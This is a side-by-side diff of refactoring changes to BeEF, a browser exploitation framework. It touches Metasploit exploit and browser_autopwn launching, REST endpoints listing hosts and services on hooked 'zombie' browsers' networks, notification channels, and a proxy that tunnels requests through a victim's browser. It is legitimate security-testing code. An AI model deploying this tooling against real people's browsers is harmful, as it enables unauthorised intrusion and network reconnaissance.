# Raised when invalid JSON input is passed to an /api/msf handler. # Raised when invalid JSON input is passed to an /api/msf handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler' DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
@@ -122,7 +122,7 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/msf handler. # Raised when an invalid named parameter is passed to an /api/msf handler.
class InvalidParamError < StandardError class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler' DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze
def initialize(message = nil) def initialize(message = nil)
str = 'Invalid "%s" parameter passed to /api/msf handler' str = 'Invalid "%s" parameter passed to /api/msf handler'

View File

@@ -102,7 +102,7 @@ module BeEF
sleep 1 sleep 1
code = http.head(path, headers).code.to_i code = http.head(path, headers).code.to_i
print_debug "[Metasploit] Success - HTTP response: #{code}" print_debug "[Metasploit] Success - HTTP response: #{code}"
rescue StandardError => e rescue StandardError
retry if (retries -= 1).positive? retry if (retries -= 1).positive?
end end
@@ -185,6 +185,9 @@ module BeEF
get_lock get_lock
res = call('module.info', 'exploit', name) res = call('module.info', 'exploit', name)
res || {} res || {}
rescue StandardError => e
print_error "Call module.info for module #{name} failed: #{e.message}"
{}
ensure ensure
release_lock release_lock
end end
@@ -193,6 +196,9 @@ module BeEF
get_lock get_lock
res = call('module.compatible_payloads', name) res = call('module.compatible_payloads', name)
res || {} res || {}
rescue StandardError => e
print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}"
{}
ensure ensure
release_lock release_lock
end end
@@ -201,6 +207,9 @@ module BeEF
get_lock get_lock
res = call('module.options', 'exploit', name) res = call('module.options', 'exploit', name)
res || {} res || {}
rescue StandardError => e
print_error "Call module.options for module #{name} failed: #{e.message}"
{}
ensure ensure
release_lock release_lock
end end
@@ -211,6 +220,9 @@ module BeEF
return {} unless res || res['modules'] return {} unless res || res['modules']
res['modules'] res['modules']
rescue StandardError => e
print_error "Call module.payloads failed: #{e.message}"
{}
ensure ensure
release_lock release_lock
end end
@@ -222,6 +234,7 @@ module BeEF
res res
rescue StandardError => e rescue StandardError => e
print_error "Call module.options for payload #{name} failed: #{e.message}"
{} {}
ensure ensure
release_lock release_lock
@@ -234,7 +247,7 @@ module BeEF
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}" res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
res res
rescue StandardError => e rescue StandardError => e
print_error "Exploit failed for #{exploit} \n" print_error "Exploit failed for #{exploit}\n#{e.message}"
false false
ensure ensure
release_lock release_lock
@@ -248,7 +261,7 @@ module BeEF
get_lock get_lock
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts) call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
rescue StandardError => e rescue StandardError => e
print_error 'Failed to launch autopwn' print_error "Failed to launch browser_autopwn: #{e.message}"
false false
ensure ensure
release_lock release_lock

View File

@@ -10,7 +10,7 @@ module BeEF
# Table stores each host identified on the zombie browser's network(s) # Table stores each host identified on the zombie browser's network(s)
# #
class NetworkHost < BeEF::Core::Model class NetworkHost < BeEF::Core::Model
belongs_to :hooked_browser belongs_to :hooked_browser
# #
# Stores a network host in the data store # Stores a network host in the data store

View File

@@ -10,8 +10,7 @@ module BeEF
# Table stores each open port identified on the zombie browser's network(s) # Table stores each open port identified on the zombie browser's network(s)
# #
class NetworkService < BeEF::Core::Model class NetworkService < BeEF::Core::Model
belongs_to :hooked_browser belongs_to :hooked_browser
# #
# Stores a network service in the data store # Stores a network service in the data store
@@ -53,7 +52,7 @@ module BeEF
port: service[:port], port: service[:port],
ntype: service[:ntype] ntype: service[:ntype]
).length ).length
return if total > 0 return if total.positive?
# store the returned network service details # store the returned network service details
network_service = BeEF::Core::Models::NetworkService.new( network_service = BeEF::Core::Models::NetworkService.new(

View File

@@ -27,152 +27,140 @@ module BeEF
# Returns the entire list of network hosts for all zombies # Returns the entire list of network hosts for all zombies
get '/hosts' do get '/hosts' do
begin hosts = @nh.all.distinct.order(:id)
hosts = @nh.all.distinct.order(:id) count = hosts.length
count = hosts.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:hosts] = [] result[:hosts] = []
hosts.each do |host| hosts.each do |host|
result[:hosts] << host.to_h result[:hosts] << host.to_h
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving host list (#{e.message})"
halt 500
end end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving host list (#{e.message})"
halt 500
end end
# Returns the entire list of network services for all zombies # Returns the entire list of network services for all zombies
get '/services' do get '/services' do
begin services = @ns.all.distinct.order(:id)
services = @ns.all.distinct.order(:id) count = services.length
count = services.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:services] = [] result[:services] = []
services.each do |service| services.each do |service|
result[:services] << service.to_h result[:services] << service.to_h
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving service list (#{e.message})"
halt 500
end end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving service list (#{e.message})"
halt 500
end end
# Returns all hosts given a specific hooked browser id # Returns all hosts given a specific hooked browser id
get '/hosts/:id' do get '/hosts/:id' do
begin id = params[:id]
id = params[:id]
hooked_browser = @hb.where(session: id).distinct hooked_browser = @hb.where(session: id).distinct
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser) hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
count = hosts.length count = hosts.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:hosts] = [] result[:hosts] = []
hosts.each do |host| hosts.each do |host|
result[:hosts] << host.to_h result[:hosts] << host.to_h
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
# Returns all services given a specific hooked browser id # Returns all services given a specific hooked browser id
get '/services/:id' do get '/services/:id' do
begin id = params[:id]
id = params[:id]
services = @ns.where(hooked_browser_id: id).distinct.order(:id) services = @ns.where(hooked_browser_id: id).distinct.order(:id)
count = services.length count = services.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:services] = [] result[:services] = []
services.each do |service| services.each do |service|
result[:services] << service.to_h result[:services] << service.to_h
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
# Returns a specific host given its id # Returns a specific host given its id
get '/host/:id' do get '/host/:id' do
begin id = params[:id]
id = params[:id]
host = @nh.find(id) host = @nh.find(id)
raise InvalidParamError, 'id' if host.nil? raise InvalidParamError, 'id' if host.nil?
halt 404 if host.nil?
host.to_h.to_json halt 404 if host.nil?
rescue InvalidParamError => e
print_error e.message host.to_h.to_json
halt 400 rescue InvalidParamError => e
rescue StandardError => e print_error e.message
print_error "Internal error while retrieving host with id #{id} (#{e.message})" halt 400
halt 500 rescue StandardError => e
end print_error "Internal error while retrieving host with id #{id} (#{e.message})"
halt 500
end end
# Deletes a specific host given its id # Deletes a specific host given its id
delete '/host/:id' do delete '/host/:id' do
begin id = params[:id]
id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
host = @nh.find(id) host = @nh.find(id)
halt 404 if host.nil? halt 404 if host.nil?
result = {} result = {}
result['success'] = @nh.delete(id) result['success'] = @nh.delete(id)
result.to_json result.to_json
rescue InvalidParamError => e rescue InvalidParamError => e
print_error e.message print_error e.message
halt 400 halt 400
rescue StandardError => e rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})" print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500 halt 500
end
end end
# Returns a specific service given its id # Returns a specific service given its id
get '/service/:id' do get '/service/:id' do
begin id = params[:id]
id = params[:id]
service = @ns.find(id) service = @ns.find(id)
raise InvalidParamError, 'id' if service.nil? raise InvalidParamError, 'id' if service.nil?
halt 404 if service.empty?
service.to_h.to_json halt 404 if service.empty?
rescue InvalidParamError => e
print_error e.message service.to_h.to_json
halt 400 rescue InvalidParamError => e
rescue StandardError => e print_error e.message
print_error "Internal error while retrieving service with id #{id} (#{e.message})" halt 400
halt 500 rescue StandardError => e
end print_error "Internal error while retrieving service with id #{id} (#{e.message})"
halt 500
end end
# Raised when invalid JSON input is passed to an /api/network handler. # Raised when invalid JSON input is passed to an /api/network handler.

View File

@@ -8,43 +8,37 @@
require 'net/smtp' require 'net/smtp'
module BeEF module BeEF
module Extension module Extension
module Notifications module Notifications
module Channels module Channels
class Email
class Email #
# Constructor
#
def initialize(to_address, message)
@config = BeEF::Core::Configuration.instance
@from_address = @config.get('beef.extension.notifications.email.from_address')
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
# # configure the email client
# Constructor msg = "Subject: BeEF Notification\n\n#{message}"
# smtp = Net::SMTP.new @smtp_host, @smtp_port
def initialize(to_address, message) # if @smtp_tls_enable?
@config = BeEF::Core::Configuration.instance # smtp.enable_starttls
@from_address = @config.get('beef.extension.notifications.email.from_address') # smtp.start('beefproject.com', @from_address, @password, :login) do
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host') # smtp.send_message(msg, @from_address, @to_address)
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port') # end
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') # else
@password = @config.get('beef.extension.notifications.email.smtp_tls_password') smtp.start do
smtp.send_message(msg, @from_address, to_address)
# configure the email client end
msg = "Subject: BeEF Notification\n\n" + message # end
smtp = Net::SMTP.new @smtp_host, @smtp_port end
#if @smtp_tls_enable?
# smtp.enable_starttls
# smtp.start('beefproject.com', @from_address, @password, :login) do
# smtp.send_message(msg, @from_address, @to_address)
# end
#else
smtp.start do
smtp.send_message(msg, @from_address, to_address)
end end
#end end
end end
end end
end end
end
end
end

View File

@@ -1,13 +1,11 @@
require 'rushover' require 'rushover'
module BeEF module BeEF
module Extension module Extension
module Notifications module Notifications
module Channels module Channels
class Pushover
class Pushover def initialize(message)
def initialize(message)
@config = BeEF::Core::Configuration.instance @config = BeEF::Core::Configuration.instance
# Configure the Pushover Client # Configure the Pushover Client
@@ -15,12 +13,11 @@ module Channels
res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message) res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)
print_error '[Notifications] Pushover notification failed' unless res.ok? print_error '[Notifications] Pushover notification failed' unless res.ok?
rescue => e rescue StandardError => e
print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'" print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'"
end
end end
end
end end
end
end end
end
end
end

View File

@@ -6,36 +6,36 @@
require 'slack-notifier' require 'slack-notifier'
module BeEF module BeEF
module Extension module Extension
module Notifications module Notifications
module Channels module Channels
class SlackWorkspace
def initialize(message)
@config = BeEF::Core::Configuration.instance
class SlackWorkspace # Configure the Slack Client
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
channel = @config.get('beef.extension.notifications.slack.channel')
username = @config.get('beef.extension.notifications.slack.username')
def initialize(message) if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hook\.slack.com/services/')
@config = BeEF::Core::Configuration.instance print_error '[Notifications] Invalid Slack WebHook URL'
return
end
# Configure the Slack Client notifier = Slack::Notifier.new(
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url') webhook_url,
channel = @config.get('beef.extension.notifications.slack.channel') channel: channel,
username = @config.get('beef.extension.notifications.slack.username') username: username,
http_options: { open_timeout: 10 }
)
if webhook_url =~ /your_webhook_url/ or webhook_url !~ %r{^https://hooks\.slack\.com\/services\/} notifier.ping message
print_error '[Notifications] Invalid Slack WebHook URL' rescue StandardError => e
return print_error "[Notifications] Slack notification initialization failed: #{e.message}"
end
end
end end
notifier = Slack::Notifier.new webhook_url,
channel: channel,
username: username,
http_options: { open_timeout: 10 }
notifier.ping message
rescue => e
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
end end
end end
end end
end
end
end

View File

@@ -8,36 +8,32 @@
require 'twitter' require 'twitter'
module BeEF module BeEF
module Extension module Extension
module Notifications module Notifications
module Channels module Channels
class Tweet
class Tweet #
# Constructor
#
def initialize(username, message)
@config = BeEF::Core::Configuration.instance
# # configure the Twitter client
# Constructor client = Twitter::REST::Client.new do |config|
# config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
def initialize(username, message) config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
@config = BeEF::Core::Configuration.instance config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
end
# configure the Twitter client begin
client = Twitter::REST::Client.new do |config| client.direct_message_create(username, message)
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key') rescue StandardError
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret') print_error 'Twitter send failed, verify tokens have Read/Write/DM acceess...'
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token') end
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') end
end end
begin
client.direct_message_create(username, message)
rescue
print_error "Twitter send failed, verify tokens have Read/Write/DM acceess..."
end end
end end
end end
end end
end
end
end

View File

@@ -4,17 +4,15 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Notifications module Notifications
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'notifications'
@short_name = 'notifications' @full_name = 'Notifications'
@full_name = 'Notifications' @description = 'Generates external notifications for events in BeEF'
@description = 'Generates external notifications for events in BeEF' end
end
end
end
end end
require 'extensions/notifications/notifications' require 'extensions/notifications/notifications'

View File

@@ -10,49 +10,38 @@ require 'extensions/notifications/channels/pushover'
require 'extensions/notifications/channels/slack_workspace' require 'extensions/notifications/channels/slack_workspace'
module BeEF module BeEF
module Extension module Extension
module Notifications module Notifications
#
# Notifications class
#
class Notifications
def initialize(from, event, time_now, hb)
@config = BeEF::Core::Configuration.instance
return unless @config.get('beef.extension.notifications.enable')
# @from = from
# Notifications class @event = event
# @time_now = time_now
class Notifications @hb = hb
def initialize(from, event, time_now, hb) message = "#{from} #{event} #{time_now} #{hb}"
@config = BeEF::Core::Configuration.instance
if @config.get('beef.extension.notifications.enable') == false
# notifications are not enabled
return nil
else
@from = from
@event = event
@time_now = time_now
@hb = hb
end
message = "#{from} #{event} #{time_now} #{hb}" if @config.get('beef.extension.notifications.twitter.enable') == true
username = @config.get('beef.extension.notifications.twitter.target_username')
BeEF::Extension::Notifications::Channels::Tweet.new(username, message)
end
if @config.get('beef.extension.notifications.twitter.enable') == true if @config.get('beef.extension.notifications.email.enable') == true
username = @config.get('beef.extension.notifications.twitter.target_username') to_address = @config.get('beef.extension.notifications.email.to_address')
BeEF::Extension::Notifications::Channels::Tweet.new(username,message) BeEF::Extension::Notifications::Channels::Email.new(to_address, message)
end end
if @config.get('beef.extension.notifications.email.enable') == true BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true
to_address = @config.get('beef.extension.notifications.email.to_address')
BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
end
if @config.get('beef.extension.notifications.pushover.enable') == true BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true
BeEF::Extension::Notifications::Channels::Pushover.new(message) end
end
if @config.get('beef.extension.notifications.slack.enable') == true
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message)
end end
end end
end end
end
end
end end

View File

@@ -8,17 +8,16 @@ module BeEF
module Proxy module Proxy
module API module API
module RegisterHttpHandler module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start') BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.pre_http_start(http_hook_server) def self.pre_http_start(http_hook_server)
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
Thread.new{ Thread.new do
http_hook_server.semaphore.synchronize{ http_hook_server.semaphore.synchronize do
BeEF::Extension::Proxy::Proxy.new BeEF::Extension::Proxy::Proxy.new
} end
} end
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}" print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
end end

View File

@@ -4,21 +4,19 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Proxy module Proxy
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'proxy'
@full_name = 'proxy'
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
end @short_name = 'proxy'
end @full_name = 'proxy'
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
end
end
end end
require 'extensions/requester/models/http' require 'extensions/requester/models/http'
#require 'extensions/proxy/models/http' # require 'extensions/proxy/models/http'
require 'extensions/proxy/proxy' require 'extensions/proxy/proxy'
require 'extensions/proxy/api' require 'extensions/proxy/api'
require 'extensions/proxy/rest/proxy' require 'extensions/proxy/rest/proxy'

View File

@@ -9,7 +9,6 @@ module BeEF
module Extension module Extension
module Proxy module Proxy
class Proxy class Proxy
HB = BeEF::Core::Models::HookedBrowser HB = BeEF::Core::Models::HookedBrowser
H = BeEF::Core::Models::Http H = BeEF::Core::Models::Http
@response = nil @response = nil
@@ -22,14 +21,14 @@ module BeEF
# setup proxy for SSL/TLS # setup proxy for SSL/TLS
ssl_context = OpenSSL::SSL::SSLContext.new ssl_context = OpenSSL::SSL::SSLContext.new
#ssl_context.ssl_version = :TLSv1_2 # ssl_context.ssl_version = :TLSv1_2
# load certificate # load certificate
begin begin
cert_file = @conf.get('beef.extension.proxy.cert') cert_file = @conf.get('beef.extension.proxy.cert')
cert = File.read(cert_file) cert = File.read(cert_file)
ssl_context.cert = OpenSSL::X509::Certificate.new(cert) ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
rescue rescue StandardError
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'" print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
end end
@@ -38,7 +37,7 @@ module BeEF
key_file = @conf.get('beef.extension.proxy.key') key_file = @conf.get('beef.extension.proxy.key')
key = File.read(key_file) key = File.read(key_file)
ssl_context.key = OpenSSL::PKey::RSA.new(key) ssl_context.key = OpenSSL::PKey::RSA.new(key)
rescue rescue StandardError
print_error "[Proxy] Could not load SSL key '#{key_file}'" print_error "[Proxy] Could not load SSL key '#{key_file}'"
end end
@@ -51,7 +50,7 @@ module BeEF
end end
end end
def handle_request socket def handle_request(socket)
request_line = socket.readline request_line = socket.readline
# HTTP method # defaults to GET # HTTP method # defaults to GET
@@ -59,17 +58,15 @@ module BeEF
# Handle SSL requests # Handle SSL requests
url_prefix = '' url_prefix = ''
if method == "CONNECT" then if method == 'CONNECT'
# request_line is something like: # request_line is something like:
# CONNECT example.com:443 HTTP/1.1 # CONNECT example.com:443 HTTP/1.1
host_port = request_line.split(" ")[1] host_port = request_line.split[1]
proto = 'https' proto = 'https'
url_prefix = proto + '://' + host_port url_prefix = "#{proto}://#{host_port}"
loop do loop do
line = socket.readline line = socket.readline
if line.strip.empty? break if line.strip.empty?
break
end
end end
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n") socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
socket.accept socket.accept
@@ -77,13 +74,13 @@ module BeEF
request_line = socket.readline request_line = socket.readline
end end
method, path, version = request_line.split(" ") method, _path, version = request_line.split
# HTTP scheme/protocol # defaults to http # HTTP scheme/protocol # defaults to http
proto = 'http' unless proto.eql?('https') proto = 'http' unless proto.eql?('https')
# HTTP version # defaults to 1.0 # HTTP version # defaults to 1.0
version = 'HTTP/1.0' if version !~ /\AHTTP\/\d\.\d\z/ version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z}
# HTTP request path # HTTP request path
path = request_line[/^\w+\s+(\S+)/, 1] path = request_line[/^\w+\s+(\S+)/, 1]
@@ -94,27 +91,23 @@ module BeEF
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors # We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors
# when sending attack vectors (see tolerant_parser) # when sending attack vectors (see tolerant_parser)
# anti: somehow the config below was removed, have a look into this # anti: somehow the config below was removed, have a look into this
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars")) tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))
uri = tolerant_parser.parse(url.to_s) uri = tolerant_parser.parse(url.to_s)
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}" uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
# extensions/requester/api/hook.rb parses raw_request to find port and path # extensions/requester/api/hook.rb parses raw_request to find port and path
raw_request = [method, uri_path_and_qs, version].join(' ') + "\r\n" raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n"
content_length = 0 content_length = 0
loop do loop do
line = socket.readline line = socket.readline
if line =~ /^Content-Length:\s+(\d+)\s*$/ content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/
content_length = $1.to_i
end
if line.strip.empty? if line.strip.empty?
# read data still in the socket, exactly <content_length> bytes # read data still in the socket, exactly <content_length> bytes
if content_length >= 0 raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0
raw_request += "\r\n" + socket.read(content_length)
end
break break
else else
raw_request += line raw_request += line
@@ -124,24 +117,28 @@ module BeEF
# Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component. # Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.
# IDs are created and incremented automatically by DataMapper. # IDs are created and incremented automatically by DataMapper.
http = H.new( http = H.new(
:request => raw_request, request: raw_request,
:method => method, method: method,
:proto => proto, proto: proto,
:domain => uri.host, domain: uri.host,
:port => uri.port, port: uri.port,
:path => uri_path_and_qs, path: uri_path_and_qs,
:request_date => Time.now, request_date: Time.now,
:hooked_browser_id => self.get_tunneling_proxy, hooked_browser_id: get_tunneling_proxy,
:allow_cross_domain => "true" allow_cross_domain: 'true'
) )
http.save http.save
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]") print_debug(
"[PROXY] --> Forwarding request ##{http.id}: " \
"domain[#{http.domain}:#{http.port}], " \
"method[#{http.method}], " \
"path[#{http.path}], " \
"cross domain[#{http.allow_cross_domain}]"
)
# Wait for the HTTP response to be stored in the db. # Wait for the HTTP response to be stored in the db.
# TODO: re-implement this with EventMachine or with the Observer pattern. # TODO: re-implement this with EventMachine or with the Observer pattern.
while H.find(http.id).has_ran != "complete" sleep 0.5 while H.find(http.id).has_ran != 'complete'
sleep 0.5
end
@response = H.find(http.id) @response = H.find(http.id)
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed" print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
@@ -155,35 +152,37 @@ module BeEF
# Some of the original response headers need to be removed, like encoding and cache related: for example # Some of the original response headers need to be removed, like encoding and cache related: for example
# about encoding, the original response headers says that the content-length is 1000 as the response is gzipped, # about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,
# but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way. # but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.
response_headers = "" response_headers = ''
if (response_status != -1 && response_status != 0) if response_status != -1 && response_status != 0
ignore_headers = [ ignore_headers = %w[
"Content-Encoding", Content-Encoding
"Keep-Alive", Keep-Alive
"Cache-Control", Cache-Control
"Vary", Vary
"Pragma", Pragma
"Connection", Connection
"Expires", Expires
"Accept-Ranges", Accept-Ranges
"Transfer-Encoding", Transfer-Encoding
"Date"] Date
]
headers.each_line do |line| headers.each_line do |line|
# stripping the Encoding, Cache and other headers # stripping the Encoding, Cache and other headers
header_key = line.split(': ')[0] header_key = line.split(': ')[0]
header_value = line.split(': ')[1] header_value = line.split(': ')[1]
next if header_key.nil? next if header_key.nil?
next if ignore_headers.any?{ |h| h.casecmp(header_key) == 0 } next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }
if header_value.nil?
#headers_hash[header_key] = "" # ignore headers with no value (@todo: why?)
else next if header_value.nil?
# update Content-Length with the valid one
if header_key == "Content-Length" unless header_key == 'Content-Length'
response_headers += "Content-Length: #{response_body.size}\r\n" response_headers += line
else next
response_headers += line
end
end end
# update Content-Length with the valid one
response_headers += "Content-Length: #{response_body.size}\r\n"
end end
end end
@@ -193,10 +192,8 @@ module BeEF
end end
def get_tunneling_proxy def get_tunneling_proxy
proxy_browser = HB.where(:is_proxy => true).first proxy_browser = HB.where(is_proxy: true).first
unless proxy_browser.nil? return proxy_browser.session.to_s unless proxy_browser.nil?
return proxy_browser.session.to_s
end
hooked_browser = HB.first hooked_browser = HB.first
unless hooked_browser.nil? unless hooked_browser.nil?
@@ -211,4 +208,3 @@ module BeEF
end end
end end
end end

View File

@@ -6,10 +6,8 @@
module BeEF module BeEF
module Extension module Extension
module Proxy module Proxy
# This class handles the routing of RESTful API requests for the proxy # This class handles the routing of RESTful API requests for the proxy
class ProxyRest < BeEF::Core::Router::Router class ProxyRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing # Filters out bad requests before performing any routing
before do before do
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
@@ -27,68 +25,58 @@ module BeEF
# Use a specified hooked browser as proxy # Use a specified hooked browser as proxy
post '/setTargetZombie' do post '/setTargetZombie' do
begin body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read) hb_id = body['hb_id']
hb_id = body['hb_id']
result = {} result = {}
result['success'] = false result['success'] = false
return result.to_json if hb_id.nil? return result.to_json if hb_id.nil?
hooked_browser = @hb.where(:session => hb_id).first hooked_browser = @hb.where(session: hb_id).first
previous_proxy_hb = @hb.where(:is_proxy => true).first previous_proxy_hb = @hb.where(is_proxy: true).first
# if another HB is currently set as tunneling proxy, unset it # if another HB is currently set as tunneling proxy, unset it
unless previous_proxy_hb.nil? unless previous_proxy_hb.nil?
previous_proxy_hb.update(:is_proxy => false) previous_proxy_hb.update(is_proxy: false)
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy") print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
end
# set the HB requested in /setTargetProxy as Tunneling Proxy
unless hooked_browser.nil?
hooked_browser.update(:is_proxy => true)
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error setting browser as proxy (#{e.message})"
halt 500
end end
# set the HB requested in /setTargetProxy as Tunneling Proxy
unless hooked_browser.nil?
hooked_browser.update(is_proxy: true)
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error setting browser as proxy (#{e.message})"
halt 500
end end
# Raised when invalid JSON input is passed to an /api/proxy handler. # Raised when invalid JSON input is passed to an /api/proxy handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
end end
end end
# Raised when an invalid named parameter is passed to an /api/proxy handler. # Raised when an invalid named parameter is passed to an /api/proxy handler.
class InvalidParamError < StandardError class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'
def initialize(message = nil) def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/proxy handler" str = 'Invalid "%s" parameter passed to /api/proxy handler'
